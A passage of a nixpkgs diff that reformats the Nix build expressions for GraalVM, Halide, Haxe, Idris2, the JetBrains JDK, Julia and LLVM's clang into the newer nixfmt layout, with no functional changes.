-            ++ lib.optionals stdenv.hostPlatform.isDarwin [
-              "-EDEVELOPER_DIR"
-              "-EDEVELOPER_DIR_FOR_BUILD"
-              "-EDEVELOPER_DIR_FOR_TARGET"
-              "-EMACOSX_DEPLOYMENT_TARGET"
-              "-EMACOSX_DEPLOYMENT_TARGET_FOR_BUILD"
-              "-EMACOSX_DEPLOYMENT_TARGET_FOR_TARGET"
-              "-ENIX_APPLE_SDK_VERSION"
-            ];
+          preservedNixVariables = [
+            "-ENIX_BINTOOLS"
+            "-ENIX_BINTOOLS_WRAPPER_TARGET_HOST_${stdenv.cc.suffixSalt}"
+            "-ENIX_BUILD_CORES"
+            "-ENIX_BUILD_TOP"
+            "-ENIX_CC"
+            "-ENIX_CC_WRAPPER_TARGET_HOST_${stdenv.cc.suffixSalt}"
+            "-ENIX_CFLAGS_COMPILE"
+            "-ENIX_HARDENING_ENABLE"
+            "-ENIX_LDFLAGS"
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isLinux [
+            "-ELOCALE_ARCHIVE"
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isDarwin [
+            "-EDEVELOPER_DIR"
+            "-EDEVELOPER_DIR_FOR_BUILD"
+            "-EDEVELOPER_DIR_FOR_TARGET"
+            "-EMACOSX_DEPLOYMENT_TARGET"
+            "-EMACOSX_DEPLOYMENT_TARGET_FOR_BUILD"
+            "-EMACOSX_DEPLOYMENT_TARGET_FOR_TARGET"
+            "-ENIX_APPLE_SDK_VERSION"
+          ];
           preservedNixVariablesAsFlags = (map (f: "--add-flags '${f}'") preservedNixVariables);
         in
         ''
@@ -247,7 +247,8 @@ let
           ./update.sh
           "graalvm-ce"
         ];
-      } // (args.passhtru or { });
+      }
+      // (args.passhtru or { });
 
       meta =
         with lib;
diff --git a/pkgs/development/compilers/graalvm/community-edition/buildGraalvmProduct.nix b/pkgs/development/compilers/graalvm/community-edition/buildGraalvmProduct.nix
index 7934baca3a6a..5276c5719dbd 100644
--- a/pkgs/development/compilers/graalvm/community-edition/buildGraalvmProduct.nix
+++ b/pkgs/development/compilers/graalvm/community-edition/buildGraalvmProduct.nix
@@ -33,16 +33,18 @@ stdenv.mkDerivation (
   {
     pname = product;
 
-    nativeBuildInputs =
-      [ makeWrapper ]
-      ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
-      ++ extraNativeBuildInputs;
+    nativeBuildInputs = [
+      makeWrapper
+    ]
+    ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook
+    ++ extraNativeBuildInputs;
 
     buildInputs = [
       (lib.getLib stdenv.cc.cc) # libstdc++.so.6
       zlib
       libxcrypt-legacy # libcrypt.so.1 (default is .2 now)
-    ] ++ extraBuildInputs;
+    ]
+    ++ extraBuildInputs;
 
     unpackPhase = ''
       runHook preUnpack
@@ -70,7 +72,8 @@ stdenv.mkDerivation (
         ./update.sh
         product
       ];
-    } // (args.passhtru or { });
+    }
+    // (args.passhtru or { });
 
     meta = (
       {
diff --git a/pkgs/development/compilers/halide/default.nix b/pkgs/development/compilers/halide/default.nix
index 821459bacdae..3e1fd28964a7 100644
--- a/pkgs/development/compilers/halide/default.nix
+++ b/pkgs/development/compilers/halide/default.nix
@@ -52,22 +52,21 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      substituteInPlace src/runtime/CMakeLists.txt --replace-fail \
-          '-isystem "''${VulkanHeaders_INCLUDE_DIR}"' \
-          '-isystem "''${VulkanHeaders_INCLUDE_DIR}"
-           -isystem "${llvmPackages.clang}/resource-root/include"'
-    ''
-    # Upstream Halide include a check in their CMake files that forces Halide to
-    # link LLVM dynamically because of WebAssembly. It unnecessarily increases
-    # the closure size in cases when the WebAssembly target is not used. Hence,
-    # the following hack
-    + lib.optionalString (!wasmSupport) ''
-      substituteInPlace cmake/FindHalide_LLVM.cmake --replace-fail \
-          'if (comp STREQUAL "WebAssembly")' \
-          'if (FALSE)'
-    '';
+  postPatch = ''
+    substituteInPlace src/runtime/CMakeLists.txt --replace-fail \
+        '-isystem "''${VulkanHeaders_INCLUDE_DIR}"' \
+        '-isystem "''${VulkanHeaders_INCLUDE_DIR}"
+         -isystem "${llvmPackages.clang}/resource-root/include"'
+  ''
+  # Upstream Halide include a check in their CMake files that forces Halide to
+  # link LLVM dynamically because of WebAssembly. It unnecessarily increases
+  # the closure size in cases when the WebAssembly target is not used. Hence,
+  # the following hack
+  + lib.optionalString (!wasmSupport) ''
+    substituteInPlace cmake/FindHalide_LLVM.cmake --replace-fail \
+        'if (comp STREQUAL "WebAssembly")' \
+        'if (FALSE)'
+  '';
 
   cmakeFlags = [
     "-DWITH_PYTHON_BINDINGS=${if pythonSupport then "ON" else "OFF"}"
@@ -123,35 +122,33 @@ stdenv.mkDerivation (finalAttrs: {
   # Note: only openblas and not atlas part of this Nix expression
   # see pkgs/development/libraries/science/math/liblapack/3.5.0.nix
   # to get a hint howto setup atlas instead of openblas
-  buildInputs =
-    [
-      llvmPackages.llvm
-      llvmPackages.lld
-      llvmPackages.openmp
-      llvmPackages.libclang
-      libffi
-      libpng
-      libjpeg
-      eigen
-      openblas
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      libgbm
-      libGL
-    ]
-    ++ lib.optionals wasmSupport [ wabt ];
+  buildInputs = [
+    llvmPackages.llvm
+    llvmPackages.lld
+    llvmPackages.openmp
+    llvmPackages.libclang
+    libffi
+    libpng
+    libjpeg
+    eigen
+    openblas
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    libgbm
+    libGL
+  ]
+  ++ lib.optionals wasmSupport [ wabt ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      flatbuffers
-      removeReferencesTo
-      ninja
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pybind11
-    ];
+  nativeBuildInputs = [
+    cmake
+    flatbuffers
+    removeReferencesTo
+    ninja
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pybind11
+  ];
 
   propagatedBuildInputs = lib.optionals pythonSupport [
     python3Packages.numpy
diff --git a/pkgs/development/compilers/haxe/default.nix b/pkgs/development/compilers/haxe/default.nix
index 0207f345bf26..24e633373f57 100644
--- a/pkgs/development/compilers/haxe/default.nix
+++ b/pkgs/development/compilers/haxe/default.nix
@@ -58,14 +58,13 @@ let
       pname = "haxe";
       inherit version;
 
-      buildInputs =
-        [
-          zlib
-          neko
-        ]
-        ++ (if lib.versionAtLeast version "4.3" then [ pcre2 ] else [ pcre ])
-        ++ lib.optional (lib.versionAtLeast version "4.1") mbedtls_2
-        ++ ocamlDependencies version;
+      buildInputs = [
+        zlib
+        neko
+      ]
+      ++ (if lib.versionAtLeast version "4.3" then [ pcre2 ] else [ pcre ])
+      ++ lib.optional (lib.versionAtLeast version "4.1") mbedtls_2
+      ++ ocamlDependencies version;
 
       src = fetchFromGitHub {
         owner = "HaxeFoundation";
diff --git a/pkgs/development/compilers/idris2/build-idris.nix b/pkgs/development/compilers/idris2/build-idris.nix
index 6f829451d2b2..40a7d275b7df 100644
--- a/pkgs/development/compilers/idris2/build-idris.nix
+++ b/pkgs/development/compilers/idris2/build-idris.nix
@@ -70,7 +70,8 @@ let
         nativeBuildInputs = [
           idris2
           makeBinaryWrapper
-        ] ++ attrs.nativeBuildInputs or [ ];
+        ]
+        ++ attrs.nativeBuildInputs or [ ];
         buildInputs = propagatedIdrisLibraries ++ attrs.buildInputs or [ ];
 
         env.IDRIS2_PACKAGE_PATH = libDirs propagatedIdrisLibraries;
@@ -83,7 +84,8 @@ let
 
         passthru = {
           inherit propagatedIdrisLibraries;
-        } // (attrs.passthru or { });
+        }
+        // (attrs.passthru or { });
 
         shellHook = ''
           export IDRIS2_PACKAGE_PATH="${finalAttrs.env.IDRIS2_PACKAGE_PATH}"
diff --git a/pkgs/development/compilers/idris2/idris2.nix b/pkgs/development/compilers/idris2/idris2.nix
index 6f39eea61868..b34cda66e497 100644
--- a/pkgs/development/compilers/idris2/idris2.nix
+++ b/pkgs/development/compilers/idris2/idris2.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
     makeWrapper
     clang
     platformChez
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ zsh ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ zsh ];
   buildInputs = [
     platformChez
     gmp
diff --git a/pkgs/development/compilers/idris2/pack.nix b/pkgs/development/compilers/idris2/pack.nix
index f041e3bce857..414d959f0135 100644
--- a/pkgs/development/compilers/idris2/pack.nix
+++ b/pkgs/development/compilers/idris2/pack.nix
@@ -54,7 +54,8 @@ let
       gmp
       clang
       chez
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ zsh ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ zsh ];
 
     postInstall = ''
       wrapProgram $out/bin/pack \
diff --git a/pkgs/development/compilers/jetbrains-jdk/17.nix b/pkgs/development/compilers/jetbrains-jdk/17.nix
index 8b0a0104b2f5..583c59164e57 100644
--- a/pkgs/development/compilers/jetbrains-jdk/17.nix
+++ b/pkgs/development/compilers/jetbrains-jdk/17.nix
@@ -156,7 +156,8 @@ openjdk17.overrideAttrs (oldAttrs: rec {
     autoconf
     unzip
     rsync
-  ] ++ oldAttrs.nativeBuildInputs;
+  ]
+  ++ oldAttrs.nativeBuildInputs;
 
   meta = with lib; {
     description = "An OpenJDK fork to better support Jetbrains's products.";
diff --git a/pkgs/development/compilers/jetbrains-jdk/default.nix b/pkgs/development/compilers/jetbrains-jdk/default.nix
index 6fe8da738991..8b56d4d11f88 100644
--- a/pkgs/development/compilers/jetbrains-jdk/default.nix
+++ b/pkgs/development/compilers/jetbrains-jdk/default.nix
@@ -156,7 +156,8 @@ jdk.overrideAttrs (oldAttrs: rec {
     autoconf
     unzip
     rsync
-  ] ++ oldAttrs.nativeBuildInputs;
+  ]
+  ++ oldAttrs.nativeBuildInputs;
 
   meta = with lib; {
     description = "OpenJDK fork to better support Jetbrains's products";
diff --git a/pkgs/development/compilers/jetbrains-jdk/jcef.nix b/pkgs/development/compilers/jetbrains-jdk/jcef.nix
index 34571287f6be..ed517361a166 100644
--- a/pkgs/development/compilers/jetbrains-jdk/jcef.nix
+++ b/pkgs/development/compilers/jetbrains-jdk/jcef.nix
@@ -207,82 +207,81 @@ stdenv.mkDerivation rec {
   # N.B. For new versions, manually synchronize the following
   # definitions with jb/tools/common/create_modules.sh to include
   # newly added modules
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      export JCEF_ROOT_DIR=$(realpath ..)
-      export OUT_NATIVE_DIR=$JCEF_ROOT_DIR/jcef_build/native/${buildType}
-      export JB_TOOLS_DIR=$(realpath ../jb/tools)
-      export JB_TOOLS_OS_DIR=$JB_TOOLS_DIR/linux
-      export OUT_CLS_DIR=$(realpath ../out/${platform})
-      export TARGET_ARCH=${targetArch} DEPS_ARCH=${depsArch}
-      export OS=linux
-      export JOGAMP_DIR="$JCEF_ROOT_DIR"/third_party/jogamp/jar
+    export JCEF_ROOT_DIR=$(realpath ..)
+    export OUT_NATIVE_DIR=$JCEF_ROOT_DIR/jcef_build/native/${buildType}
+    export JB_TOOLS_DIR=$(realpath ../jb/tools)
+    export JB_TOOLS_OS_DIR=$JB_TOOLS_DIR/linux
+    export OUT_CLS_DIR=$(realpath ../out/${platform})
+    export TARGET_ARCH=${targetArch} DEPS_ARCH=${depsArch}
+    export OS=linux
+    export JOGAMP_DIR="$JCEF_ROOT_DIR"/third_party/jogamp/jar
 
-      mkdir -p $unpacked/{jogl,gluegen,jcef}
+    mkdir -p $unpacked/{jogl,gluegen,jcef}
 
-      function extract_jar {
-        __jar=$1
-        __dst_dir=$2
-        __content_dir="''${3:-.}"
-        __tmp=.tmp_extract_jar
-        rm -rf "$__tmp" && mkdir "$__tmp"
-        (
-          cd "$__tmp" || exit 1
-          jar -xf "$__jar"
-        )
-        rm -rf "$__tmp/META-INF"
-        rm -rf "$__dst_dir" && mkdir "$__dst_dir"
-        if [ -z "$__content_dir" ]
-        then
-            cp -R "$__tmp"/* "$__dst_dir"
-        else
-            cp -R "$__tmp"/"$__content_dir"/* "$__dst_dir"
-        fi
-        rm -rf $__tmp
-      }
+    function extract_jar {
+      __jar=$1
+      __dst_dir=$2
+      __content_dir="''${3:-.}"
+      __tmp=.tmp_extract_jar
+      rm -rf "$__tmp" && mkdir "$__tmp"
+      (
+        cd "$__tmp" || exit 1
+        jar -xf "$__jar"
+      )
+      rm -rf "$__tmp/META-INF"
+      rm -rf "$__dst_dir" && mkdir "$__dst_dir"
+      if [ -z "$__content_dir" ]
+      then
+          cp -R "$__tmp"/* "$__dst_dir"
+      else
+          cp -R "$__tmp"/"$__content_dir"/* "$__dst_dir"
+      fi
+      rm -rf $__tmp
+    }
 
-      cd $unpacked/gluegen
-      cp "$JOGAMP_DIR"/gluegen-rt.jar .
-      cp "$JB_TOOLS_DIR"/common/gluegen-module-info.java module-info.java
-      javac --patch-module gluegen.rt=gluegen-rt.jar module-info.java
-      jar uf gluegen-rt.jar module-info.class
-      rm module-info.class module-info.java
-      mkdir lib
-    ''
-    # see https://github.com/JetBrains/jcef/commit/f3b787e3326c1915d663abded7f055c0866f32ec
-    + lib.optionalString (platform != "linuxarm64") ''
-      extract_jar "$JOGAMP_DIR"/gluegen-rt-natives-"$OS"-"$DEPS_ARCH".jar lib natives/"$OS"-"$DEPS_ARCH"
-    ''
-    + ''
+    cd $unpacked/gluegen
+    cp "$JOGAMP_DIR"/gluegen-rt.jar .
+    cp "$JB_TOOLS_DIR"/common/gluegen-module-info.java module-info.java
+    javac --patch-module gluegen.rt=gluegen-rt.jar module-info.java
+    jar uf gluegen-rt.jar module-info.class
+    rm module-info.class module-info.java
+    mkdir lib
+  ''
+  # see https://github.com/JetBrains/jcef/commit/f3b787e3326c1915d663abded7f055c0866f32ec
+  + lib.optionalString (platform != "linuxarm64") ''
+    extract_jar "$JOGAMP_DIR"/gluegen-rt-natives-"$OS"-"$DEPS_ARCH".jar lib natives/"$OS"-"$DEPS_ARCH"
+  ''
+  + ''
 
-      cd ../jogl
-      cp "$JOGAMP_DIR"/gluegen-rt.jar .
-      cp "$JOGAMP_DIR"/jogl-all.jar .
-      cp "$JB_TOOLS_OS_DIR"/jogl-module-info.java module-info.java
-      javac --module-path . --patch-module jogl.all=jogl-all.jar module-info.java
-      jar uf jogl-all.jar module-info.class
-      rm module-info.class module-info.java
-      mkdir lib
-    ''
-    # see https://github.com/JetBrains/jcef/commit/f3b787e3326c1915d663abded7f055c0866f32ec
-    + lib.optionalString (platform != "linuxarm64") ''
-      extract_jar "$JOGAMP_DIR"/jogl-all-natives-"$OS"-"$DEPS_ARCH".jar lib natives/"$OS"-"$DEPS_ARCH"
-    ''
-    + ''
+    cd ../jogl
+    cp "$JOGAMP_DIR"/gluegen-rt.jar .
+    cp "$JOGAMP_DIR"/jogl-all.jar .
+    cp "$JB_TOOLS_OS_DIR"/jogl-module-info.java module-info.java
+    javac --module-path . --patch-module jogl.all=jogl-all.jar module-info.java
+    jar uf jogl-all.jar module-info.class
+    rm module-info.class module-info.java
+    mkdir lib
+  ''
+  # see https://github.com/JetBrains/jcef/commit/f3b787e3326c1915d663abded7f055c0866f32ec
+  + lib.optionalString (platform != "linuxarm64") ''
+    extract_jar "$JOGAMP_DIR"/jogl-all-natives-"$OS"-"$DEPS_ARCH".jar lib natives/"$OS"-"$DEPS_ARCH"
+  ''
+  + ''
 
-      cd ../jcef
-      cp "$OUT_CLS_DIR"/jcef.jar .
-      mkdir lib
-      cp -R "$OUT_NATIVE_DIR"/* lib
+    cd ../jcef
+    cp "$OUT_CLS_DIR"/jcef.jar .
+    mkdir lib
+    cp -R "$OUT_NATIVE_DIR"/* lib
 
-      mkdir -p $out/jmods
+    mkdir -p $out/jmods
 
-      bash "$JB_TOOLS_DIR"/common/create_version_file.sh $out
+    bash "$JB_TOOLS_DIR"/common/create_version_file.sh $out
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   dontStrip = debugBuild;
 
diff --git a/pkgs/development/compilers/julia/generic-bin.nix b/pkgs/development/compilers/julia/generic-bin.nix
index a7c9d323b7a8..b6622dfc4b3d 100644
--- a/pkgs/development/compilers/julia/generic-bin.nix
+++ b/pkgs/development/compilers/julia/generic-bin.nix
@@ -12,43 +12,42 @@
 }:
 
 let
-  skip_tests =
-    [
-      # Test flaky on ofborg
-      "channels"
-      # Test flaky because of our RPATH patching
-      # https://github.com/NixOS/nixpkgs/pull/230965#issuecomment-1545336489
-      "compiler/codegen"
-      # Test flaky
-      "read"
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "1.10") [
-      # Test flaky
-      # https://github.com/JuliaLang/julia/issues/52739
-      "REPL"
-      # Test flaky
-      "ccall"
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "1.11") [
-      # Test flaky
-      # https://github.com/JuliaLang/julia/issues/54280
-      "loading"
-      "cmdlineargs"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Test flaky on ofborg
-      "FileWatching"
-      # Test requires pbcopy
-      "InteractiveUtils"
-      # Test requires network access
-      "Sockets"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # Test Failed at $out/share/julia/stdlib/v1.8/LinearAlgebra/test/blas.jl:702
-      "LinearAlgebra/blas"
-      # Test Failed at $out/share/julia/test/misc.jl:724
-      "misc"
-    ];
+  skip_tests = [
+    # Test flaky on ofborg
+    "channels"
+    # Test flaky because of our RPATH patching
+    # https://github.com/NixOS/nixpkgs/pull/230965#issuecomment-1545336489
+    "compiler/codegen"
+    # Test flaky
+    "read"
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "1.10") [
+    # Test flaky
+    # https://github.com/JuliaLang/julia/issues/52739
+    "REPL"
+    # Test flaky
+    "ccall"
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "1.11") [
+    # Test flaky
+    # https://github.com/JuliaLang/julia/issues/54280
+    "loading"
+    "cmdlineargs"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Test flaky on ofborg
+    "FileWatching"
+    # Test requires pbcopy
+    "InteractiveUtils"
+    # Test requires network access
+    "Sockets"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # Test Failed at $out/share/julia/stdlib/v1.8/LinearAlgebra/test/blas.jl:702
+    "LinearAlgebra/blas"
+    # Test Failed at $out/share/julia/test/misc.jl:724
+    "misc"
+  ];
 in
 stdenv.mkDerivation {
   pname = "julia-bin";
@@ -91,19 +90,18 @@ stdenv.mkDerivation {
     stdenv.cc.cc
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-      cp -r . $out
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # "$out/share" is intentionally omitted since it contains
-      # julia package images and patchelf would break them
-      autoPatchelf "$out/bin" "$out/lib" "$out/libexec"
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    cp -r . $out
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # "$out/share" is intentionally omitted since it contains
+    # julia package images and patchelf would break them
+    autoPatchelf "$out/bin" "$out/lib" "$out/libexec"
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   # Breaks backtraces, etc.
   dontStrip = true;
diff --git a/pkgs/development/compilers/julia/generic.nix b/pkgs/development/compilers/julia/generic.nix
index 7b2bad8156c4..469e0206514d 100644
--- a/pkgs/development/compilers/julia/generic.nix
+++ b/pkgs/development/compilers/julia/generic.nix
@@ -43,39 +43,36 @@ stdenv.mkDerivation rec {
     openssl
   ];
 
-  buildInputs =
-    [
-      libxml2
-      zlib
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "1.11") [
-      cacert
-    ];
+  buildInputs = [
+    libxml2
+    zlib
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "1.11") [
+    cacert
+  ];
 
   dontUseCmakeConfigure = true;
 
-  postPatch =
-    ''
-      patchShebangs .
-    ''
-    + lib.optionalString (lib.versionAtLeast version "1.11") ''
-      substituteInPlace deps/curl.mk \
-        --replace-fail 'cd $(dir $<) && $(TAR) jxf $(notdir $<)' \
-                       'cd $(dir $<) && $(TAR) jxf $(notdir $<) && sed -i "s|/usr/bin/env perl|${lib.getExe buildPackages.perl}|" curl-$(CURL_VER)/scripts/cd2nroff'
-    '';
+  postPatch = ''
+    patchShebangs .
+  ''
+  + lib.optionalString (lib.versionAtLeast version "1.11") ''
+    substituteInPlace deps/curl.mk \
+      --replace-fail 'cd $(dir $<) && $(TAR) jxf $(notdir $<)' \
+                     'cd $(dir $<) && $(TAR) jxf $(notdir $<) && sed -i "s|/usr/bin/env perl|${lib.getExe buildPackages.perl}|" curl-$(CURL_VER)/scripts/cd2nroff'
+  '';
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "USE_BINARYBUILDER=0"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # https://github.com/JuliaCI/julia-buildkite/blob/main/utilities/build_envs.sh
-      "JULIA_CPU_TARGET=generic;sandybridge,-xsaveopt,clone_all;haswell,-rdrnd,base(1);x86-64-v4,-rdrnd,base(1)"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "JULIA_CPU_TARGET=generic;cortex-a57;thunderx2t99;carmel,clone_all;apple-m1,base(3);neoverse-512tvb,base(3)"
-    ];
+  makeFlags = [
+    "prefix=$(out)"
+    "USE_BINARYBUILDER=0"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # https://github.com/JuliaCI/julia-buildkite/blob/main/utilities/build_envs.sh
+    "JULIA_CPU_TARGET=generic;sandybridge,-xsaveopt,clone_all;haswell,-rdrnd,base(1);x86-64-v4,-rdrnd,base(1)"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "JULIA_CPU_TARGET=generic;cortex-a57;thunderx2t99;carmel,clone_all;apple-m1,base(3);neoverse-512tvb,base(3)"
+  ];
 
   # remove forbidden reference to $TMPDIR
   preFixup = ''
diff --git a/pkgs/development/compilers/llvm/common/bolt/default.nix b/pkgs/development/compilers/llvm/common/bolt/default.nix
index 716331738a51..68c5dd60cfc6 100644
--- a/pkgs/development/compilers/llvm/common/bolt/default.nix
+++ b/pkgs/development/compilers/llvm/common/bolt/default.nix
@@ -66,7 +66,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeFlags = [
     (lib.cmakeFeature "LLVM_TABLEGEN_EXE" "${buildLlvmTools.tblgen}/bin/llvm-tblgen")
-  ] ++ devExtraCmakeFlags;
+  ]
+  ++ devExtraCmakeFlags;
 
   postUnpack = ''
     chmod -R u+w -- $sourceRoot/..
diff --git a/pkgs/development/compilers/llvm/common/clang/default.nix b/pkgs/development/compilers/llvm/common/clang/default.nix
index f3d434b6ac57..316a9e81f0ed 100644
--- a/pkgs/development/compilers/llvm/common/clang/default.nix
+++ b/pkgs/development/compilers/llvm/common/clang/default.nix
@@ -45,103 +45,101 @@ stdenv.mkDerivation (
 
     sourceRoot = "${finalAttrs.src.name}/clang";
 
-    patches =
-      [
-        (getVersionFile "clang/purity.patch")
-        # Remove extraneous ".a" suffix from baremetal clang_rt.builtins when compiling for baremetal.
-        # https://reviews.llvm.org/D51899
-        (getVersionFile "clang/gnu-install-dirs.patch")
-      ]
-      ++ lib.optionals (lib.versionOlder release_version "20") [
-        # https://github.com/llvm/llvm-project/pull/116476
-        # prevent clang ignoring warnings / errors for unsuppored
-        # options when building & linking a source file with trailing
-        # libraries. eg: `clang -munsupported hello.c -lc`
-        ./clang-unsupported-option.patch
-      ]
-      ++
-        lib.optional (lib.versions.major release_version == "13")
-          # Revert of https://reviews.llvm.org/D100879
-          # The malloc alignment assumption is incorrect for jemalloc and causes
-          # mis-compilation in firefox.
-          # See: https://bugzilla.mozilla.org/show_bug.cgi?id=1741454
-          (getVersionFile "clang/revert-malloc-alignment-assumption.patch")
-      ++ lib.optional (lib.versionOlder release_version "17") (
-        if lib.versionAtLeast release_version "14" then
-          fetchpatch {
-            name = "ignore-nostd-link.patch";
-            url = "https://github.com/llvm/llvm-project/commit/5b77e752dcd073846b89559d6c0e1a7699e58615.patch";
-            relative = "clang";
-            hash = "sha256-qzSAmoGY+7POkDhcGgQRPaNQ3+7PIcIc9cZuiE/eLkc=";
-          }
-        else
-          ./ignore-nostd-link-13.diff
-      )
-      # Pass the correct path to libllvm
-      ++ [
-        (replaceVars
-          (
-            if (lib.versionOlder release_version "16") then
-              ./clang-11-15-LLVMgold-path.patch
-            else
-              ./clang-at-least-16-LLVMgold-path.patch
-          )
-          {
-            libllvmLibdir = "${libllvm.lib}/lib";
-          }
+    patches = [
+      (getVersionFile "clang/purity.patch")
+      # Remove extraneous ".a" suffix from baremetal clang_rt.builtins when compiling for baremetal.
+      # https://reviews.llvm.org/D51899
+      (getVersionFile "clang/gnu-install-dirs.patch")
+    ]
+    ++ lib.optionals (lib.versionOlder release_version "20") [
+      # https://github.com/llvm/llvm-project/pull/116476
+      # prevent clang ignoring warnings / errors for unsuppored
+      # options when building & linking a source file with trailing
+      # libraries. eg: `clang -munsupported hello.c -lc`
+      ./clang-unsupported-option.patch
+    ]
+    ++
+      lib.optional (lib.versions.major release_version == "13")
+        # Revert of https://reviews.llvm.org/D100879
+        # The malloc alignment assumption is incorrect for jemalloc and causes
+        # mis-compilation in firefox.
+        # See: https://bugzilla.mozilla.org/show_bug.cgi?id=1741454
+        (getVersionFile "clang/revert-malloc-alignment-assumption.patch")
+    ++ lib.optional (lib.versionOlder release_version "17") (
+      if lib.versionAtLeast release_version "14" then
+        fetchpatch {
+          name = "ignore-nostd-link.patch";
+          url = "https://github.com/llvm/llvm-project/commit/5b77e752dcd073846b89559d6c0e1a7699e58615.patch";
+          relative = "clang";
+          hash = "sha256-qzSAmoGY+7POkDhcGgQRPaNQ3+7PIcIc9cZuiE/eLkc=";
+        }
+      else
+        ./ignore-nostd-link-13.diff
+    )
+    # Pass the correct path to libllvm
+    ++ [
+      (replaceVars
+        (
+          if (lib.versionOlder release_version "16") then
+            ./clang-11-15-LLVMgold-path.patch
+          else
+            ./clang-at-least-16-LLVMgold-path.patch
         )
-      ]
-      # Backport version logic from Clang 16. This is needed by the following patch.
-      ++ lib.optional (lib.versions.major release_version == "15") (fetchpatch {
-        name = "clang-darwin-Use-consistent-version-define-stringifying-logic.patch";
-        url = "https://github.com/llvm/llvm-project/commit/60a33ded751c86fff9ac1c4bdd2b341fbe4b0649.patch?full_index=1";
-        includes = [ "lib/Basic/Targets/OSTargets.cpp" ];
-        stripLen = 1;
-        hash = "sha256-YVTSg5eZLz3po2AUczPNXCK26JA3CuTh6Iqp7hAAKIs=";
-      })
-      # Backport `__ENVIRONMENT_OS_VERSION_MIN_REQUIRED__` support from Clang 17.
-      # This is needed by newer SDKs (14+).
-      ++
-        lib.optional
-          (
-            lib.versionAtLeast (lib.versions.major release_version) "15"
-            && lib.versionOlder (lib.versions.major release_version) "17"
-          )
-          (fetchpatch {
-            name = "clang-darwin-An-OS-version-preprocessor-define.patch";
-            url = "https://github.com/llvm/llvm-project/commit/c8e2dd8c6f490b68e41fe663b44535a8a21dfeab.patch?full_index=1";
-            includes = [ "lib/Basic/Targets/OSTargets.cpp" ];
-            stripLen = 1;
-            hash = "sha256-Vs32kql7N6qtLqc12FtZHURcbenA7+N3E/nRRX3jdig=";
-          })
-      # Fixes a bunch of lambda-related crashes
-      # https://github.com/llvm/llvm-project/pull/93206
-      ++ lib.optional (lib.versions.major release_version == "18") (fetchpatch {
-        name = "tweak-tryCaptureVariable-for-unevaluated-lambdas.patch";
-        url = "https://github.com/llvm/llvm-project/commit/3d361b225fe89ce1d8c93639f27d689082bd8dad.patch";
-        # TreeTransform.h is not affected in LLVM 18.
-        excludes = [
-          "docs/ReleaseNotes.rst"
-          "lib/Sema/TreeTransform.h"
-        ];
-        stripLen = 1;
-        hash = "sha256-1NKej08R9SPlbDY/5b0OKUsHjX07i9brR84yXiPwi7E=";
-      })
-      ++
-        lib.optional (stdenv.isAarch64 && lib.versions.major release_version == "17")
-          # Fixes llvm17 tblgen builds on aarch64.
-          # https://github.com/llvm/llvm-project/issues/106521#issuecomment-2337175680
-          (getVersionFile "clang/aarch64-tblgen.patch");
+        {
+          libllvmLibdir = "${libllvm.lib}/lib";
+        }
+      )
+    ]
+    # Backport version logic from Clang 16. This is needed by the following patch.
+    ++ lib.optional (lib.versions.major release_version == "15") (fetchpatch {
+      name = "clang-darwin-Use-consistent-version-define-stringifying-logic.patch";
+      url = "https://github.com/llvm/llvm-project/commit/60a33ded751c86fff9ac1c4bdd2b341fbe4b0649.patch?full_index=1";
+      includes = [ "lib/Basic/Targets/OSTargets.cpp" ];
+      stripLen = 1;
+      hash = "sha256-YVTSg5eZLz3po2AUczPNXCK26JA3CuTh6Iqp7hAAKIs=";
+    })
+    # Backport `__ENVIRONMENT_OS_VERSION_MIN_REQUIRED__` support from Clang 17.
+    # This is needed by newer SDKs (14+).
+    ++
+      lib.optional
+        (
+          lib.versionAtLeast (lib.versions.major release_version) "15"
+          && lib.versionOlder (lib.versions.major release_version) "17"
+        )
+        (fetchpatch {
+          name = "clang-darwin-An-OS-version-preprocessor-define.patch";
+          url = "https://github.com/llvm/llvm-project/commit/c8e2dd8c6f490b68e41fe663b44535a8a21dfeab.patch?full_index=1";
+          includes = [ "lib/Basic/Targets/OSTargets.cpp" ];
+          stripLen = 1;
